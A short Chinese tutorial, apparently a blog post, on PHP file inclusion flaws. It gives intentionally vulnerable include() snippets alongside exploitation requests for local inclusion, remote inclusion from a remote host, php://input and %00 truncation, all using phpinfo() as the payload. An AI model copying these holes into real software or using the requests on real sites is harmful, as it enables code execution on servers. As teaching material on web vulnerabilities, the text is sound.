inclued:出错会继续执行
require:出错会退出
1、本地文件包含:
测试代码1.php如下所示:
<?php
//初始化....
define("ROOT",dirname(__FILE__).'/');
//加载模块
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
?>
我们在同目录下2.php写入如下代码:
<?php phpinfo();?>
请求/1.php?mod=2即成功实现文件包含
2、远程文件包含:
基于HTTP协议的测试代码:
<?php
include($_GET['url']);
?>
利用时在GET请求url参数里面传入"http://remotehost/2.txt",
其中远程机器上的2.txt是一个内容为<?php phpinfo(); ?>的文件
3、文件包含截断
1.php?a=php://input
post内容为<?php phpinfo();?>
3.1、利用%00来截断
<?php
include $_GET['a'].'.php';
?>
测试代码2.txt内容为phpinfo
请求http://localhost/test/1.php?a=2.txt%0
web-文件包含
最新推荐文章于 2024-05-12 23:02:18 发布